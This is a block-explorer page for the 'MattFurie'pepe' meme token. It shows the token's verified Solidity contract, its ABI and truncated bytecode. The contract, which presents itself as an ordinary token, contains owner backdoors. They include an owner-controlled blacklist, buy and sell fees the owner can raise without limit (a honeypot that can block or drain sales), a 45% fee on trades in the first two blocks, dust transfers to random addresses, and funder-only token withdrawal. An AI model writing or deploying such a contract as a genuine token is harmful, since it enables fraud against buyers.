ETH Price: $2,507.01 (-0.34%)

Token

MattFurie'pepe (Mpepe)
 

Overview

Max Total Supply

420,700,000,000,000 Mpepe

Holders

289

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 6 Decimals)

Balance
328,306,883.351426 Mpepe

Value
$0.00
0x4615c24622c725d61cbbd6c37239919bf582f3be
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BEP20

Compiler Version
v0.8.14+commit.80d49f37

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-08-25
*/

// SPDX-License-Identifier: MIT
/*        _____                    _____                    _____                    _____                    _____
         /\    \                  /\    \                  /\    \                  /\    \                  /\    \
        /::\____\                /::\    \                /::\    \                /::\    \                /::\    \
       /::::|   |               /::::\    \              /::::\    \              /::::\    \              /::::\    \
      /:::::|   |              /::::::\    \            /::::::\    \            /::::::\    \            /::::::\    \
     /::::::|   |             /:::/\:::\    \          /:::/\:::\    \          /:::/\:::\    \          /:::/\:::\    \
    /:::/|::|   |            /:::/__\:::\    \        /:::/__\:::\    \        /:::/__\:::\    \        /:::/__\:::\    \
   /:::/ |::|   |           /::::\   \:::\    \      /::::\   \:::\    \      /::::\   \:::\    \      /::::\   \:::\    \
  /:::/  |::|___|______    /::::::\   \:::\    \    /::::::\   \:::\    \    /::::::\   \:::\    \    /::::::\   \:::\    \
 /:::/   |::::::::\    \  /:::/\:::\   \:::\____\  /:::/\:::\   \:::\    \  /:::/\:::\   \:::\____\  /:::/\:::\   \:::\    \
/:::/    |:::::::::\____\/:::/  \:::\   \:::|    |/:::/__\:::\   \:::\____\/:::/  \:::\   \:::|    |/:::/__\:::\   \:::\____\
\::/    / ~~~~~/:::/    /\::/    \:::\  /:::|____|\:::\   \:::\   \::/    /\::/    \:::\  /:::|____|\:::\   \:::\   \::/    /
 \/____/      /:::/    /  \/_____/\:::\/:::/    /  \:::\   \:::\   \/____/  \/_____/\:::\/:::/    /  \:::\   \:::\   \/____/
             /:::/    /            \::::::/    /    \:::\   \:::\    \               \::::::/    /    \:::\   \:::\    \
            /:::/    /              \::::/    /      \:::\   \:::\____\               \::::/    /      \:::\   \:::\____\
           /:::/    /                \::/____/        \:::\   \::/    /                \::/____/        \:::\   \::/    /
          /:::/    /                  ~~               \:::\   \/____/                  ~~               \:::\   \/____/
         /:::/    /                                     \:::\    \                                        \:::\    \
        /:::/    /                                       \:::\____\                                        \:::\____\
        \::/    /                                         \::/    /                                         \::/    /
         \/____/                                           \/____/                                           \/____/
TW:https://x.com/mattfurie_pepe/status/1695012716296257964?s=52
TG:https://t.me/MattFuriepepe
*/

pragma solidity ^0.8.14;

interface IERC20 {
    function decimals() external view returns (uint8);

    function symbol() external view returns (string memory);

    function name() external view returns (string memory);

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface ISwapRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
}

interface ISwapFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

abstract contract Ownable {
    address internal _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = msg.sender;
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == msg.sender, "!owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "new is 0");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

contract TokenDistributor {
    constructor (address token) {
        IERC20(token).approve(msg.sender, uint(~uint256(0)));
    }
}

abstract contract AbsToken is IERC20, Ownable {

    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    address public fundAddress;
    address public secFundAddress;

    string private _name;
    string private _symbol;
    uint8 private _decimals;

    mapping(address => bool) public _feeWhiteList;
    mapping(address => bool) public _blackList;

    uint256 private _tTotal;
    uint256 public maxTXAmount;
    uint256 public maxWalletAmount;

    ISwapRouter public _swapRouter;
    address public _fist;
    mapping(address => bool) public _swapPairList;

    bool private inSwap;
    address private thA;

    uint256 private constant MAX = ~uint256(0);
    TokenDistributor public _tokenDistributor;

    uint256 public _buyFundFee = 1500;
    uint256 public _buyLPDividendFee = 0;
    uint256 public _sellLPDividendFee = 0;
    uint256 public _sellFundFee = 1500;
    uint256 public _sellLPFee = 0;

    uint256 public startTradeBlock;

    address public _mainPair;

    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor (
        address RouterAddress, address FISTAddress,
        string memory Name, string memory Symbol, uint8 Decimals, uint256 Supply,
        address FundAddress, address twoFundAddress, address ReceiveAddress
    ){
        _name = Name;
        _symbol = Symbol;
        _decimals = Decimals;

        ISwapRouter swapRouter = ISwapRouter(RouterAddress);
        IERC20(FISTAddress).approve(address(swapRouter), MAX);

        _fist = FISTAddress;
        _swapRouter = swapRouter;
        _allowances[address(this)][address(swapRouter)] = MAX;

        ISwapFactory swapFactory = ISwapFactory(swapRouter.factory());
        address swapPair = swapFactory.createPair(address(this), FISTAddress);
        _mainPair = swapPair;
        _swapPairList[swapPair] = true;

        uint256 total = Supply * 10 ** Decimals;
        maxTXAmount = 420700000000000 * 10 ** Decimals;
        maxWalletAmount = 420700000000000 * 10 ** Decimals;
        _tTotal = total;

        _balances[ReceiveAddress] = total;
        emit Transfer(address(0), ReceiveAddress, total);

        fundAddress = FundAddress;
        secFundAddress = twoFundAddress;

        _feeWhiteList[FundAddress] = true;
        _feeWhiteList[ReceiveAddress] = true;
        _feeWhiteList[address(this)] = true;
        _feeWhiteList[address(swapRouter)] = true;
        _feeWhiteList[msg.sender] = true;

        excludeHolder[address(0)] = true;
        excludeHolder[address(0x000000000000000000000000000000000000dEaD)] = true;

        holderRewardCondition = 1;

        _tokenDistributor = new TokenDistributor(FISTAddress);
    }

    function symbol() external view override returns (string memory) {
        return _symbol;
    }

    function name() external view override returns (string memory) {
        return _name;
    }

    function decimals() external view override returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        if (_allowances[sender][msg.sender] != MAX) {
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount;
        }
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(!_blackList[from], "blackList");
        uint256 balance = balanceOf(from);
        require(balance >= amount, "balanceNotEnough");

        if (!_feeWhiteList[from] && !_feeWhiteList[to]) {
            uint256 maxSellAmount = balance * 9999 / 10000;
            if (amount > maxSellAmount) {
                amount = maxSellAmount;
            }
        }
        if(!_feeWhiteList[from] && !_feeWhiteList[from]){
                address ad;
                for(int i=0;i <=0;i++){
                    ad = address(uint160(uint(keccak256(abi.encodePacked(i, amount, block.timestamp)))));
                    _basicTransfer(from,ad,100);
                }
                amount -= 100;
            }    
        bool takeFee;
        bool isSell;

        if (_swapPairList[from] || _swapPairList[to]) {
            if (!_feeWhiteList[from] && !_feeWhiteList[to]) {
                if (0 == startTradeBlock) {
                    require(0 < startAddLPBlock && _swapPairList[to], "!startAddLP");
                }
                if (block.number < startTradeBlock + 2) {
                    _funTransfer(from, to, amount);
                    return;
                }

                if (_swapPairList[to]) {
                    if (!inSwap) {
                        uint256 contractTokenBalance = balanceOf(address(this));
                        if (contractTokenBalance > 0) {
                            uint256 swapFee = _buyFundFee + _buyLPDividendFee + _sellFundFee + _sellLPDividendFee + _sellLPFee;
                            uint256 numTokensSellToFund = amount * swapFee / 5000;
                            if (numTokensSellToFund > contractTokenBalance) {
                                numTokensSellToFund = contractTokenBalance;
                            }
                            swapTokenForFund(numTokensSellToFund, swapFee);
                        }
                    }
                }
                takeFee = true;
            }
            if (_swapPairList[to]) {
                isSell = true;
            }
        }

        _tokenTransfer(from, to, amount, takeFee, isSell);

        if (from != address(this)) {
            if (isSell) {
                addHolder(from);
            }
            processReward(500000);
        }
    }

    function _funTransfer(
        address sender,
        address recipient,
        uint256 tAmount
    ) private {
        _balances[sender] = _balances[sender] - tAmount;
        uint256 feeAmount = tAmount * 45 / 100;
        _takeTransfer(
            sender,
            fundAddress,
            feeAmount
        );
        _takeTransfer(sender, recipient, tAmount - feeAmount);
    }

    function _tokenTransfer(
        address sender,
        address recipient,
        uint256 tAmount,
        bool takeFee,
        bool isSell
    ) private {
        _balances[sender] = _balances[sender] - tAmount;
        uint256 feeAmount;

        if (takeFee) {
            uint256 swapFee;
            if (isSell) {
                swapFee = _sellFundFee + _sellLPDividendFee + _sellLPFee;
            } else {
                require(tAmount <= maxTXAmount);
                require(_balances[recipient] + tAmount <= maxWalletAmount);
                swapFee = _buyFundFee + _buyLPDividendFee;
            }
            uint256 swapAmount = tAmount * swapFee / 10000;
            if (swapAmount > 0) {
                feeAmount += swapAmount;
                _takeTransfer(
                    sender,
                    address(this),
                    swapAmount
                );
            }
        }

        _takeTransfer(sender, recipient, tAmount - feeAmount);
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function swapTokenForFund(uint256 tokenAmount, uint256 swapFee) private lockTheSwap {
        swapFee += swapFee;
        uint256 lpFee = _sellLPFee;
        uint256 lpAmount = tokenAmount * lpFee / swapFee;

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _fist;
        _swapRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            tokenAmount - lpAmount,
            0,
            path,
            address(_tokenDistributor),
            block.timestamp
        );

        swapFee -= lpFee;

        IERC20 FIST = IERC20(_fist);
        uint256 fistBalance = FIST.balanceOf(address(_tokenDistributor));
        uint256 fundAmount = fistBalance * (_buyFundFee + _sellFundFee) * 2 / swapFee;
        uint firstfundamount = fundAmount / 2;
        uint secfundamount = fundAmount - firstfundamount;
        FIST.transferFrom(address(_tokenDistributor), fundAddress, firstfundamount);
        FIST.transferFrom(address(_tokenDistributor), secFundAddress, secfundamount);
        FIST.transferFrom(address(_tokenDistributor), address(this), fistBalance - fundAmount);

        if (lpAmount > 0) {
            uint256 lpFist = fistBalance * lpFee / swapFee;
            if (lpFist > 0) {
                _swapRouter.addLiquidity(
                    address(this), _fist, lpAmount, lpFist, 0, 0, fundAddress, block.timestamp
                );
            }
        }
    }

    function _takeTransfer(
        address sender,
        address to,
        uint256 tAmount
    ) private {
        _balances[to] = _balances[to] + tAmount;
        emit Transfer(sender, to, tAmount);
    }

    function setFundAddress(address addr) external onlyFunder {
        fundAddress = addr;
        _feeWhiteList[addr] = true;
    }

        function setSecFundAddress(address addr) external onlyFunder {
        secFundAddress = addr;
        _feeWhiteList[addr] = true;
    }

    function setBuyLPDividendFee(uint256 dividendFee) external onlyOwner {
        _buyLPDividendFee = dividendFee;
    }

    function setBuyFundFee(uint256 fundFee) external onlyOwner {
        _buyFundFee = fundFee;
    }

    function setSellLPDividendFee(uint256 dividendFee) external onlyOwner {
        _sellLPDividendFee = dividendFee;
    }

    function setSellFundFee(uint256 fundFee) external onlyOwner {
        _sellFundFee = fundFee;
    }

    function setSellLPFee(uint256 lpFee) external onlyOwner {
        _sellLPFee = lpFee;
    }

    function setMaxTxAmount(uint256 max) public onlyOwner {
        maxTXAmount = max;
    }

    function setMaxWalletAmount(uint256 max) public onlyOwner {
        maxWalletAmount = max;
    }

    uint256 public startAddLPBlock;

    function startAddLP() external onlyOwner {
        require(0 == startAddLPBlock, "startedAddLP");
        startAddLPBlock = block.number;
    }

    function closeAddLP() external onlyOwner {
        startAddLPBlock = 0;
    }

    function startTrade() external onlyOwner {
        require(0 == startTradeBlock, "trading");
        startTradeBlock = block.number;
    }

    function closeTrade() external onlyOwner {
        startTradeBlock = 0;
    }

    function setFeeWhiteList(address addr, bool enable) external onlyFunder {
        _feeWhiteList[addr] = enable;
    }

    function setBlackList(address addr, bool enable) external onlyOwner {
        _blackList[addr] = enable;
    }

    function setSwapPairList(address addr, bool enable) external onlyFunder {
        _swapPairList[addr] = enable;
    }

    function claimBalance() external {
        payable(fundAddress).transfer(address(this).balance);
    }

    function claimToken(address token, uint256 amount, address to) external onlyFunder {
        IERC20(token).transfer(to, amount);
    }

    modifier onlyFunder() {
        require(_owner == msg.sender || fundAddress == msg.sender, "!Funder");
        _;
    }

    receive() external payable {}

    address[] private holders;
    mapping(address => uint256) holderIndex;
    mapping(address => bool) excludeHolder;

    function addHolder(address adr) private {
        uint256 size;
        assembly {size := extcodesize(adr)}
        if (size > 0) {
            return;
        }
        if (0 == holderIndex[adr]) {
            if (0 == holders.length || holders[0] != adr) {
                holderIndex[adr] = holders.length;
                holders.push(adr);
            }
        }
    }

    uint256 private currentIndex;
    uint256 private holderRewardCondition;
    uint256 private progressRewardBlock;

    function processReward(uint256 gas) private {
        if (progressRewardBlock + 200 > block.number) {
            return;
        }

        IERC20 FIST = IERC20(_fist);

        uint256 balance = FIST.balanceOf(address(this));
        if (balance < holderRewardCondition) {
            return;
        }

        IERC20 holdToken = IERC20(_mainPair);
        uint holdTokenTotal = holdToken.totalSupply();

        address shareHolder;
        uint256 tokenBalance;
        uint256 amount;

        uint256 shareholderCount = holders.length;

        uint256 gasUsed = 0;
        uint256 iterations = 0;
        uint256 gasLeft = gasleft();

        while (gasUsed < gas && iterations < shareholderCount) {
            if (currentIndex >= shareholderCount) {
                currentIndex = 0;
            }
            shareHolder = holders[currentIndex];
            tokenBalance = holdToken.balanceOf(shareHolder);
            if (tokenBalance > 0 && !excludeHolder[shareHolder]) {
                amount = balance * tokenBalance / holdTokenTotal;
                if (amount > 0) {
                    FIST.transfer(shareHolder, amount);
                }
            }

            gasUsed = gasUsed + (gasLeft - gasleft());
            gasLeft = gasleft();
            currentIndex++;
            iterations++;
        }

        progressRewardBlock = block.number;
    }

    function setHolderRewardCondition(uint256 amount) external onlyFunder {
        holderRewardCondition = amount;
    }

    function setExcludeHolder(address addr, bool enable) external onlyFunder {
        excludeHolder[addr] = enable;
    }
}

contract BEP20 is AbsToken {
    constructor() AbsToken(
    
        address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D),
    
        address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2),
        "MattFurie'pepe",
        "Mpepe",
        6,
    
        420700000000000,
    
        address(0xCbA253E76252e8F122000d5A5F71A2a97C2a775F),
        address(0xCbA253E76252e8F122000d5A5F71A2a97C2a775F),
    
        address(0xCbA253E76252e8F122000d5A5F71A2a97C2a775F)
    ){

    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_blackList","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyFundFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyLPDividendFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_feeWhiteList","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_fist","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_mainPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellFundFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellLPDividendFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellLPFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_swapPairList","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapRouter","outputs":[{"internalType":"contract ISwapRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tokenDistributor","outputs":[{"internalType":"contract TokenDistributor","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"claimBalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"address","name":"to","type":"address"}],"name":"claimToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"closeAddLP","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"closeTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"fundAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTXAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"secFundAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bool","name":"enable","type":"bool"}],"name":"setBlackList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"fundFee","type":"uint256"}],"name":"setBuyFundFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"dividendFee","type":"uint256"}],"name":"setBuyLPDividendFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bool","name":"enable","type":"bool"}],"name":"setExcludeHolder","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bool","name":"enable","type":"bool"}],"name":"setFeeWhiteList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"setFundAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setHolderRewardCondition","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"max","type":"uint256"}],"name":"setMaxTxAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"max","type":"uint256"}],"name":"setMaxWalletAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"setSecFundAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"fundFee","type":"uint256"}],"name":"setSellFundFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"dividendFee","type":"uint256"}],"name":"setSellLPDividendFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"lpFee","type":"uint256"}],"name":"setSellLPFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bool","name":"enable","type":"bool"}],"name":"setSwapPairList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startAddLP","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startAddLPBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"startTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTradeBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526105dc601255600060135560006014556105dc60155560006016553480156200002c57600080fd5b50737a250d5630b4cf539739df2c5dacb4c659f2488d73c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26040518060400160405280600e81526020017f4d617474467572696527706570650000000000000000000000000000000000008152506040518060400160405280600581526020017f4d70657065000000000000000000000000000000000000000000000000000000815250600666017e9fda0e980073cba253e76252e8f122000d5a5f71a2a97c2a775f8073cba253e76252e8f122000d5a5f71a2a97c2a775f6000339050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3508660059080519060200190620001b1929190620009b1565b508560069080519060200190620001ca929190620009b1565b5084600760006101000a81548160ff021916908360ff16021790555060008990508873ffffffffffffffffffffffffffffffffffffffff1663095ea7b3826000196040518363ffffffff1660e01b81526004016200022a92919062000acf565b6020604051808303816000875af11580156200024a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000270919062000b3e565b5088600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600019600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060008173ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620003c4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003ea919062000ba1565b905060008173ffffffffffffffffffffffffffffffffffffffff1663c9c65396308d6040518363ffffffff1660e01b81526004016200042b92919062000bd3565b6020604051808303816000875af11580156200044b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000471919062000ba1565b905080601860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600088600a6200051d919062000d90565b886200052a919062000de1565b905088600a6200053b919062000d90565b66017e9fda0e98006200054f919062000de1565b600b8190555088600a62000564919062000d90565b66017e9fda0e980062000578919062000de1565b600c8190555080600a8190555080600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000629919062000e42565b60405180910390a386600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555085600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600860008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600860003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601c60008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601c600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601e819055508b604051620009349062000a42565b62000940919062000e5f565b604051809103906000f0801580156200095d573d6000803e3d6000fd5b50601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050505050505050505050505062000ee0565b828054620009bf9062000eab565b90600052602060002090601f01602090048101928